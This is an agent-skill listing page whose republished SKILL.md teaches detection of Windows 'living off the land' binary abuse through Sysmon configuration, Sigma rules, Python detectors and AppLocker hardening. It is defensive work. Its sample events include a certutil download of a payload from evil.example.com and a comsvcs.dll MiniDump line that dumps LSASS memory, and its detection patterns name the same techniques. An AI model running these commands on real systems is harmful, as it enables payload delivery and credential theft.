Agent skill

Detecting Living Off The Land Attacks

by mukul975 in mukul975/Anthropic-Cybersecurity-Skills

Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks.

Apache-2.0Auto-check passedSecurity

Install Detecting Living Off The Land Attacks

skills CLI
$ npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-living-off-the-land-attacks -a claude-code

Project install by default; add -g for ~/.claude/skills/.

GitHub CLI
$ gh skill install mukul975/Anthropic-Cybersecurity-Skills detecting-living-off-the-land-attacks --agent claude-code

Project scope by default; add --scope user for a personal install. Needs GitHub CLI 2.90.0 or later (public preview).

Manual copy
$ git clone --depth 1 https://github.com/mukul975/Anthropic-Cybersecurity-Skills.git skills-src && mkdir -p .claude/skills && cp -r skills-src/skills/detecting-living-off-the-land-attacks .claude/skills/detecting-living-off-the-land-attacks && rm -rf skills-src

Use ~/.claude/skills/ instead of .claude/skills for a personal install. The folder must contain SKILL.md.

Claude Code skills documentation · loads skills from .claude/skills/

Facts

Skill name
detecting-living-off-the-land-attacks
GitHub stars
34k
Token cost
~4.7k tokens
SKILL.md length
428 words
Files
4 (incl. scripts, references)
Skills in repo
644
Repo updated
First seen
Licence
Apache-2.0

At a glance

Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks.

  • Works in 6 steps: Deploy a LOLBin-Focused Sysmon… → Build Sigma Detection Rules for Key… → Analyze Sysmon Logs for LOLBin Abuse… → …
  • Security work in your project
  • SKILL.md covers When to Use, Prerequisites, Workflow and Verification
  • Runs Python scripts from its folder; reaches lolbas-project.github.io and attack.mitre.org

What it does

Detecting Living Off The Land Attacks is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.

Its SKILL.md is about 4.7k tokens, which your agent loads only when the skill is triggered. The skill folder holds 5 other files, including scripts and reference files (for example `references/api-reference.md` and `scripts/agent.py`).

It sits in Security. The repository describes itself as: 817 structured cybersecurity skills for AI agents · Mapped to 6 frameworks: MITRE ATT&CK, NIST CSF 2.0, MITRE ATLAS, D3FEND, NIST AI RMF & MITRE F3 (Fight Fraud) · agentskills.io…. The licence is Apache-2.0.

When your agent uses it

  • Security work in your project

Example prompts

  • “/detecting-living-off-the-land-attacks”

Requirements

  • Python 3

Workflow steps

6 steps, taken from the step headings in SKILL.md.

  1. Deploy a LOLBin-Focused Sysmon Configuration
  2. Build Sigma Detection Rules for Key LOLBins
  3. Analyze Sysmon Logs for LOLBin Abuse Patterns
  4. Detect LOLBin Network Connections
  5. Monitor Anomalous Parent-Child Process Relationships
  6. Implement AppLocker or WDAC Hardening

What it can do on your machine

Read from SKILL.md and the folder at commit 54a7988. It shows what the files ask for, not the result of running them.

  • Tool permissions

    Pre-approves nothing: there is no allowed-tools line, so your agent's usual permission prompts apply.

    From allowed-tools in the SKILL.md frontmatter.

  • Runs code

    Ships 1 file in scripts/ (Python), which the agent can run.

    From the folder's file list and the shell code blocks in SKILL.md.

  • Network

    Hosts in commands or code, which the agent is likely to contact:

    • lolbas-project.github.io
    • attack.mitre.org

    From URLs in SKILL.md, links to its own repository left out.

  • Credentials

    Names no API keys, tokens, secrets or passwords.

    From names ending in _API_KEY, _TOKEN, _SECRET, _KEY or _PASSWORD in SKILL.md.

Context cost

Detecting Living Off The Land Attacks loads about 4.7k tokens when it runs, and up to ~5.5k if it reads all its reference files. Until then it costs about 65 tokens; SKILL.md has 428 words of instructions outside code blocks.

Always · name and description, kept in context so the agent knows when to use it
~65
When it runs · the whole SKILL.md, loaded when a task matches
~4.7k
With references · SKILL.md plus every file in references/, read only if the agent opens them
~5.5k

Estimates: characters ÷ 4, the usual rule of thumb; real counts depend on the model's tokenizer. Scripts and assets cost tokens only if the agent reads them.

Safety

Auto-check passed

The automated check found no risky patterns in SKILL.md.

Automated static check — not a guarantee. Review scripts before installing. It scans the text of SKILL.md for risky patterns (piping downloads into a shell, reading credential files, hidden Unicode, destructive commands); the scripts in this folder are not scanned.

SKILL.md

The full file from mukul975/Anthropic-Cybersecurity-Skills at commit 54a7988, republished under its Apache-2.0 licence (© mukul975). 428 words, ~4,712 tokens.

Download SKILL.mdSave it as .claude/skills/detecting-living-off-the-land-attacks/SKILL.md (or your agent's skills folder). This skill also uses 3 other files; get the full folder from GitHub.
name
detecting-living-off-the-land-attacks
description
Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Monitors process creation, command-line arguments, and parent-child relationships to identify suspicious LOLBin execution patterns.
domain
cybersecurity
subdomain
threat-detection
tags
lolbins, lotl, fileless-attacks, process-monitoring
version
1.0
author
mahipal
license
Apache-2.0
d3fend_techniques
Application Protocol Command Analysis, Network Isolation, Network Traffic Analysis, Client-server Payload Profiling, Network Traffic Community Deviation
nist_csf
DE.CM-01, DE.AE-02, DE.AE-06, ID.RA-05
mitre_attack
T1078, T1190, T1059

Detecting Living Off the Land Attacks

Monitor for suspicious use of legitimate Windows binaries (LOLBins) including certutil, mshta, rundll32, regsvr32, and others used in fileless and living-off-the-land attack techniques.

When to Use

  • Building detection rules for SIEM or EDR platforms to catch LOLBin abuse in real time
  • Investigating alerts where legitimate system binaries appear in unexpected execution contexts
  • Threat hunting across endpoint telemetry for fileless attack indicators
  • Hardening application whitelisting policies (AppLocker, WDAC) to restrict dangerous LOLBin usage
  • Creating Sysmon configurations tuned to capture LOLBin-related process creation events
  • Responding to incidents where adversaries bypassed AV by using only built-in OS tools

Do not use for blocking all LOLBin execution outright; these are legitimate system tools with valid administrative uses. Detection must focus on anomalous context (parent process, command-line arguments, network activity) rather than binary presence alone.

Prerequisites

  • Sysmon v15+ installed on Windows endpoints with a tuned configuration (SwiftOnSecurity or Olaf Hartong baseline)
  • SIEM platform ingesting Sysmon Event IDs 1 (Process Create), 3 (Network Connection), 7 (Image Loaded), 11 (File Create)
  • Windows Event Log forwarding for Security Event IDs 4688 (Process Creation with command-line logging enabled)
  • LOLBAS project reference: https://lolbas-project.github.io/
  • Python 3.8+ with evtx, pandas for offline log analysis
  • Sigma rule repository for cross-platform detection rule authoring

Workflow

Step 1: Deploy a LOLBin-Focused Sysmon Configuration

Create a Sysmon config that captures the process creation and network events needed for LOLBin detection:

xml
<!-- File: sysmon-lolbin-detection.xml -->
<Sysmon schemaversion="4.90">
  <EventFiltering>
    <!-- Process Creation: capture all LOLBin executions with full command lines -->
    <RuleGroup name="LOLBin Process Creation" groupRelation="or">
      <ProcessCreate onmatch="include">
        <Image condition="end with">certutil.exe</Image>
        <Image condition="end with">mshta.exe</Image>
        <Image condition="end with">rundll32.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">msbuild.exe</Image>
        <Image condition="end with">installutil.exe</Image>
        <Image condition="end with">cmstp.exe</Image>
        <Image condition="end with">wmic.exe</Image>
        <Image condition="end with">bitsadmin.exe</Image>
        <Image condition="end with">certreq.exe</Image>
        <Image condition="end with">esentutl.exe</Image>
        <Image condition="end with">expand.exe</Image>
        <Image condition="end with">extrac32.exe</Image>
        <Image condition="end with">findstr.exe</Image>
        <Image condition="end with">hh.exe</Image>
        <Image condition="end with">ie4uinit.exe</Image>
        <Image condition="end with">mavinject.exe</Image>
        <Image condition="end with">msiexec.exe</Image>
        <Image condition="end with">odbcconf.exe</Image>
        <Image condition="end with">pcalua.exe</Image>
        <Image condition="end with">presentationhost.exe</Image>
        <Image condition="end with">replace.exe</Image>
        <Image condition="end with">xwizard.exe</Image>
        <!-- PowerShell variants -->
        <Image condition="end with">powershell.exe</Image>
        <Image condition="end with">pwsh.exe</Image>
        <!-- Script hosts -->
        <Image condition="end with">cscript.exe</Image>
        <Image condition="end with">wscript.exe</Image>
      </ProcessCreate>
    </RuleGroup>

    <!-- Network connections from LOLBins (highly suspicious) -->
    <RuleGroup name="LOLBin Network" groupRelation="or">
      <NetworkConnect onmatch="include">
        <Image condition="end with">certutil.exe</Image>
        <Image condition="end with">mshta.exe</Image>
        <Image condition="end with">rundll32.exe</Image>
        <Image condition="end with">regsvr32.exe</Image>
        <Image condition="end with">msbuild.exe</Image>
        <Image condition="end with">bitsadmin.exe</Image>
        <Image condition="end with">expand.exe</Image>
        <Image condition="end with">esentutl.exe</Image>
        <Image condition="end with">replace.exe</Image>
      </NetworkConnect>
    </RuleGroup>
  </EventFiltering>
</Sysmon>
powershell
# Install or update Sysmon with the LOLBin config
sysmon64.exe -accepteula -i sysmon-lolbin-detection.xml

# Update existing Sysmon installation
sysmon64.exe -c sysmon-lolbin-detection.xml
Step 2: Build Sigma Detection Rules for Key LOLBins

Write Sigma rules that detect specific abuse patterns, translatable to any SIEM:

yaml
# File: sigma/certutil_download.yml
title: Certutil Used to Download File
id: a1b2c3d4-5678-9abc-def0-123456789abc
status: stable
description: >
  Detects certutil.exe being used to download files from remote URLs,
  a common LOLBin technique for payload delivery (LOLBAS T1105).
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Certutil/
  - https://attack.mitre.org/techniques/T1105/
author: Threat Detection Team
date: 2026/01/20
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\certutil.exe'
    CommandLine|contains|all:
      - 'urlcache'
      - '-f'
      - 'http'
  condition: selection
falsepositives:
  - Legitimate certificate enrollment using certutil with URL parameters
level: high
tags:
  - attack.defense_evasion
  - attack.t1218
  - attack.command_and_control
  - attack.t1105
yaml
# File: sigma/mshta_execution.yml
title: MSHTA Executing Remote or Inline Script
id: b2c3d4e5-6789-abcd-ef01-234567890bcd
status: stable
description: >
  Detects mshta.exe executing scripts from URLs or inline VBScript/JavaScript,
  commonly used for application whitelisting bypass and initial access.
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Mshta/
  - https://attack.mitre.org/techniques/T1218/005/
logsource:
  category: process_creation
  product: windows
detection:
  selection_remote:
    Image|endswith: '\mshta.exe'
    CommandLine|contains: 'http'
  selection_inline:
    Image|endswith: '\mshta.exe'
    CommandLine|contains:
      - 'vbscript:'
      - 'javascript:'
  selection_parent_anomaly:
    Image|endswith: '\mshta.exe'
    ParentImage|endswith:
      - '\winword.exe'
      - '\excel.exe'
      - '\outlook.exe'
      - '\powerpnt.exe'
  condition: selection_remote or selection_inline or selection_parent_anomaly
falsepositives:
  - Legacy HTA-based internal applications
level: high
yaml
# File: sigma/regsvr32_scrobj.yml
title: Regsvr32 Squiblydoo Scriptlet Execution
id: c3d4e5f6-7890-bcde-f012-345678901cde
status: stable
description: >
  Detects regsvr32.exe loading scrobj.dll with a remote scriptlet URL,
  known as the Squiblydoo technique for AppLocker bypass.
references:
  - https://lolbas-project.github.io/lolbas/Binaries/Regsvr32/
  - https://attack.mitre.org/techniques/T1218/010/
logsource:
  category: process_creation
  product: windows
detection:
  selection:
    Image|endswith: '\regsvr32.exe'
    CommandLine|contains|all:
      - 'scrobj.dll'
      - '/i:'
  condition: selection
falsepositives:
  - Legitimate COM scriptlet registration (rare in modern environments)
level: critical
Show full SKILL.md (177 more words)Show less
Step 3: Analyze Sysmon Logs for LOLBin Abuse Patterns

Parse and correlate Sysmon events to identify suspicious LOLBin execution:

python
import json
import re
from datetime import datetime, timedelta
from collections import defaultdict
from pathlib import Path

# Known LOLBins and their suspicious command-line indicators
LOLBIN_SIGNATURES = {
    "certutil.exe": {
        "suspicious_args": [
            r"-urlcache\s+-f\s+http",
            r"-decode\s+",
            r"-encode\s+",
            r"-verifyctl\s+.*http",
        ],
        "mitre": "T1218, T1105",
        "severity": "high"
    },
    "mshta.exe": {
        "suspicious_args": [
            r"https?://",
            r"vbscript:",
            r"javascript:",
            r"about:",
        ],
        "mitre": "T1218.005",
        "severity": "high"
    },
    "rundll32.exe": {
        "suspicious_args": [
            r"javascript:",
            r"shell32\.dll.*ShellExec_RunDLL",
            r"\\\\.*\\.*\.dll",  # UNC path DLL loading
            r"comsvcs\.dll.*MiniDump",  # LSASS dump via comsvcs
        ],
        "mitre": "T1218.011",
        "severity": "critical"
    },
    "regsvr32.exe": {
        "suspicious_args": [
            r"/s\s+/n\s+/u\s+/i:",
            r"scrobj\.dll",
            r"https?://",
        ],
        "mitre": "T1218.010",
        "severity": "critical"
    },
    "bitsadmin.exe": {
        "suspicious_args": [
            r"/transfer\s+.*https?://",
            r"/create\s+.*\/addfile\s+.*https?://",
            r"/SetNotifyCmdLine",
        ],
        "mitre": "T1197",
        "severity": "high"
    },
    "wmic.exe": {
        "suspicious_args": [
            r"process\s+call\s+create",
            r"/node:",
            r"os\s+get\s+/format:.*https?://",
            r"xsl.*https?://",
        ],
        "mitre": "T1047",
        "severity": "high"
    },
    "msbuild.exe": {
        "suspicious_args": [
            r"\.xml\b",
            r"\.csproj\b",
            r"\\temp\\",
            r"\\appdata\\",
        ],
        "mitre": "T1127.001",
        "severity": "high"
    },
    "mavinject.exe": {
        "suspicious_args": [
            r"/INJECTRUNNING\s+\d+",
        ],
        "mitre": "T1218.013",
        "severity": "critical"
    },
}

def analyze_sysmon_events(events):
    """Analyze Sysmon process creation events for LOLBin abuse."""
    alerts = []

    for event in events:
        image = event.get("Image", "").lower()
        cmdline = event.get("CommandLine", "")
        parent = event.get("ParentImage", "")

        # Check if the process is a known LOLBin
        for lolbin, config in LOLBIN_SIGNATURES.items():
            if image.endswith(lolbin.lower()):
                for pattern in config["suspicious_args"]:
                    if re.search(pattern, cmdline, re.IGNORECASE):
                        alert = {
                            "timestamp": event.get("UtcTime", ""),
                            "hostname": event.get("Computer", ""),
                            "lolbin": lolbin,
                            "command_line": cmdline,
                            "parent_process": parent,
                            "user": event.get("User", ""),
                            "process_id": event.get("ProcessId", ""),
                            "parent_pid": event.get("ParentProcessId", ""),
                            "mitre_technique": config["mitre"],
                            "severity": config["severity"],
                            "matched_pattern": pattern,
                        }
                        alerts.append(alert)
                        break
    return alerts

# Example usage with parsed Sysmon events
sample_events = [
    {
        "UtcTime": "2026-01-20 14:32:15.000",
        "Computer": "WORKSTATION-01",
        "Image": "C:\\Windows\\System32\\certutil.exe",
        "CommandLine": "certutil.exe -urlcache -f http://evil.example.com/payload.exe C:\\temp\\update.exe",
        "ParentImage": "C:\\Windows\\System32\\cmd.exe",
        "User": "CORP\\jsmith",
        "ProcessId": "4532",
        "ParentProcessId": "2108",
    },
    {
        "UtcTime": "2026-01-20 14:33:01.000",
        "Computer": "WORKSTATION-01",
        "Image": "C:\\Windows\\System32\\rundll32.exe",
        "CommandLine": "rundll32.exe comsvcs.dll, MiniDump 624 C:\\temp\\dump.bin full",
        "ParentImage": "C:\\Windows\\System32\\cmd.exe",
        "User": "CORP\\jsmith",
        "ProcessId": "5128",
        "ParentProcessId": "2108",
    },
]

alerts = analyze_sysmon_events(sample_events)
for alert in alerts:
    print(f"[{alert['severity'].upper()}] {alert['lolbin']} on {alert['hostname']}")
    print(f"  MITRE: {alert['mitre_technique']}")
    print(f"  Command: {alert['command_line'][:120]}")
    print(f"  Parent: {alert['parent_process']}")
    print(f"  User: {alert['user']}")
    print()
Step 4: Detect LOLBin Network Connections

LOLBins making outbound network connections is a strong indicator of malicious use:

python
def detect_lolbin_network_activity(network_events, process_events):
    """Correlate Sysmon network events (ID 3) with process creation (ID 1)
    to find LOLBins making outbound connections."""

    # LOLBins that should rarely make outbound connections
    NETWORK_SUSPICIOUS = {
        "certutil.exe", "mshta.exe", "rundll32.exe", "regsvr32.exe",
        "msbuild.exe", "installutil.exe", "bitsadmin.exe", "esentutl.exe",
        "expand.exe", "replace.exe", "cmstp.exe", "presentationhost.exe",
    }

    alerts = []
    for event in network_events:
        image = event.get("Image", "").lower()
        binary_name = image.split("\\")[-1] if "\\" in image else image

        if binary_name in NETWORK_SUSPICIOUS:
            dest_ip = event.get("DestinationIp", "")
            dest_port = event.get("DestinationPort", "")

            # Skip localhost and internal DNS
            if dest_ip.startswith("127.") or dest_ip == "::1":
                continue

            alert = {
                "type": "lolbin_network_connection",
                "binary": binary_name,
                "destination_ip": dest_ip,
                "destination_port": dest_port,
                "destination_hostname": event.get("DestinationHostname", ""),
                "source_ip": event.get("SourceIp", ""),
                "user": event.get("User", ""),
                "timestamp": event.get("UtcTime", ""),
                "severity": "critical",
            }
            alerts.append(alert)
            print(f"[CRITICAL] {binary_name} connected to "
                  f"{dest_ip}:{dest_port} ({event.get('DestinationHostname', 'N/A')})")

    return alerts
Step 5: Monitor Anomalous Parent-Child Process Relationships
python
# Suspicious parent-child relationships indicating LOLBin abuse
SUSPICIOUS_PARENT_CHILD = [
    # Office apps spawning LOLBins (macro execution)
    {"parent": ["winword.exe", "excel.exe", "powerpnt.exe", "outlook.exe"],
     "child": ["cmd.exe", "powershell.exe", "pwsh.exe", "mshta.exe",
               "wscript.exe", "cscript.exe", "certutil.exe"],
     "severity": "critical", "mitre": "T1204.002"},

    # Explorer spawning script interpreters directly
    {"parent": ["explorer.exe"],
     "child": ["mshta.exe", "regsvr32.exe", "msbuild.exe"],
     "severity": "high", "mitre": "T1218"},

    # WMI provider spawning processes (lateral movement)
    {"parent": ["wmiprvse.exe"],
     "child": ["cmd.exe", "powershell.exe", "mshta.exe"],
     "severity": "critical", "mitre": "T1047"},

    # Services spawning unusual children
    {"parent": ["services.exe"],
     "child": ["cmd.exe", "powershell.exe", "mshta.exe", "rundll32.exe"],
     "severity": "high", "mitre": "T1543.003"},
]

def check_parent_child_anomaly(event):
    """Check if a process creation event has a suspicious parent-child pair."""
    parent = event.get("ParentImage", "").split("\\")[-1].lower()
    child = event.get("Image", "").split("\\")[-1].lower()

    for rule in SUSPICIOUS_PARENT_CHILD:
        if parent in rule["parent"] and child in rule["child"]:
            return {
                "alert_type": "suspicious_parent_child",
                "parent": parent,
                "child": child,
                "command_line": event.get("CommandLine", ""),
                "mitre": rule["mitre"],
                "severity": rule["severity"],
                "hostname": event.get("Computer", ""),
                "user": event.get("User", ""),
                "timestamp": event.get("UtcTime", ""),
            }
    return None
Step 6: Implement AppLocker or WDAC Hardening

Restrict unnecessary LOLBin execution with application control policies:

powershell
# Query current AppLocker policy
Get-AppLockerPolicy -Effective | Select-Object -ExpandProperty RuleCollections

# Create AppLocker rules to restrict certutil to admin-only
$rule = New-AppLockerPolicy -RuleType Publisher -RuleNamePrefix "Block" `
    -FileInformation "C:\Windows\System32\certutil.exe" `
    -User "S-1-1-0" -Deny

# Export current policy for backup before applying changes
Get-AppLockerPolicy -Effective -Xml > AppLocker_Backup.xml

# Block specific LOLBins for standard users via GPO script
$lolbins_to_restrict = @(
    "mshta.exe", "cmstp.exe", "msbuild.exe", "installutil.exe",
    "regsvr32.exe", "presentationhost.exe", "ie4uinit.exe",
    "mavinject.exe", "xwizard.exe"
)

foreach ($binary in $lolbins_to_restrict) {
    $path = "C:\Windows\System32\$binary"
    if (Test-Path $path) {
        Write-Output "Restricting: $path"
        # Apply WDAC deny rule via PowerShell
        # In production, use Group Policy or Intune WDAC policies
    }
}

Verification

  • Confirm Sysmon is logging Event ID 1 (Process Creation) with full command-line arguments for all listed LOLBins
  • Validate Sigma rules convert correctly to your SIEM query language using sigmac or sigma-cli
  • Test detection by executing benign LOLBin commands in a lab environment and confirming alerts fire
  • Verify parent-child anomaly detection catches Office-to-LOLBin chains (e.g., winword.exe spawning certutil.exe)
  • Confirm LOLBin network connection detection triggers when certutil.exe or mshta.exe reach out to external IPs
  • Check that AppLocker or WDAC policies do not break legitimate administrative workflows before deploying to production
  • Validate false positive rates by running detection rules against 7 days of baseline telemetry from a clean environment
  • Cross-reference detections against the LOLBAS project database at https://lolbas-project.github.io/ for completeness

© mukul975, Apache-2.0. Rendered from Markdown: HTML in the file is shown as text, images as links, and headings moved down two levels. Raw file

Files

SKILL.md and 3 other files (scripts, references) in skills/detecting-living-off-the-land-attacks of mukul975/Anthropic-Cybersecurity-Skills.

  • SKILL.md
  • LICENSE
  • references/api-reference.md
  • scripts/agent.py

Open the folder on GitHubat commit 54a7988

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Categories

Questions about Detecting Living Off The Land Attacks

What does Detecting Living Off The Land Attacks do?

Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks. Detecting Living Off The Land Attacks is an agent skill from mukul975/Anthropic-Cybersecurity-Skills. Detect abuse of legitimate Windows binaries (LOLBins) used for living off the land attacks.

When should I use Detecting Living Off The Land Attacks?

Detecting Living Off The Land Attacks fits situations like: security work in your project.

How do I install Detecting Living Off The Land Attacks in Claude Code?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-living-off-the-land-attacks -a claude-code`. Or copy the skill folder (skills/detecting-living-off-the-land-attacks in mukul975/Anthropic-Cybersecurity-Skills) into .claude/skills/detecting-living-off-the-land-attacks in your project. Claude Code loads it when a task matches its description.

How do I install Detecting Living Off The Land Attacks in Codex?

Run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-living-off-the-land-attacks -a codex`. Or copy the skill folder (skills/detecting-living-off-the-land-attacks in mukul975/Anthropic-Cybersecurity-Skills) into .agents/skills/detecting-living-off-the-land-attacks in your project. Codex loads it when a task matches its description.

Can I use Detecting Living Off The Land Attacks in Cursor, Gemini CLI or GitHub Copilot?

Cursor, Gemini CLI, GitHub Copilot and OpenCode also load SKILL.md folders. With the skills CLI, run `npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill detecting-living-off-the-land-attacks -a cursor` (or -a gemini-cli, github-copilot or opencode for the others). To copy it by hand, put the folder in .cursor/skills/detecting-living-off-the-land-attacks, .gemini/skills/detecting-living-off-the-land-attacks, .github/skills/detecting-living-off-the-land-attacks and .opencode/skills/detecting-living-off-the-land-attacks in your project.

What does Detecting Living Off The Land Attacks need to run?

Going by SKILL.md and its folder, Detecting Living Off The Land Attacks needs Python for the scripts in its folder. Our summary lists: Python 3.

Does Detecting Living Off The Land Attacks access the network?

SKILL.md names 2 domains. In commands or code: lolbas-project.github.io and attack.mitre.org; the agent is likely to contact these when it follows the instructions. This is read from the text; nothing was executed.

Is Detecting Living Off The Land Attacks safe to install?

Our automated static check of SKILL.md found no risky patterns, such as piping downloads into a shell, reading credential files or hidden Unicode. It is not a guarantee. The check reads SKILL.md only: the scripts in the folder are not scanned, so read them before running anything.

What licence does Detecting Living Off The Land Attacks use?

Detecting Living Off The Land Attacks is published under the Apache-2.0 licence (declared in SKILL.md). It allows redistribution, so the full SKILL.md is shown on this page.

How many tokens does Detecting Living Off The Land Attacks use?

About 4.7k tokens (SKILL.md is roughly 19k characters). Agents keep only the skill's name and description in context until a task matches; then they load SKILL.md in full. Its references folder adds about 804 tokens, read only when the agent opens those files.

What are the alternatives to Detecting Living Off The Land Attacks?

Skills that share tags, products or a category with Detecting Living Off The Land Attacks: Deepsec Documentation Guide (vercel-labs/deepsec, 8.1k stars), Skill Scanner (getsentry/skills, 1k stars), Serenity Aleabitoreddit (yan-labs/serenity-aleabitoreddit, 481 stars) and Security Alert Triage (elastic/agent-skills, 592 stars). The comparison table on this page puts their stars, adoption, token cost, safety result and licence side by side.

Who maintains Detecting Living Off The Land Attacks?

mukul975 (a GitHub user) maintains it in mukul975/Anthropic-Cybersecurity-Skills, which has 34,116 GitHub stars. The repository holds 644 skills in this directory. The repository was last updated on August 31, 2026.

Source: mukul975/Anthropic-Cybersecurity-Skills on GitHub. Facts on this page come from the repository at the commit we read; the author's words are quoted as theirs.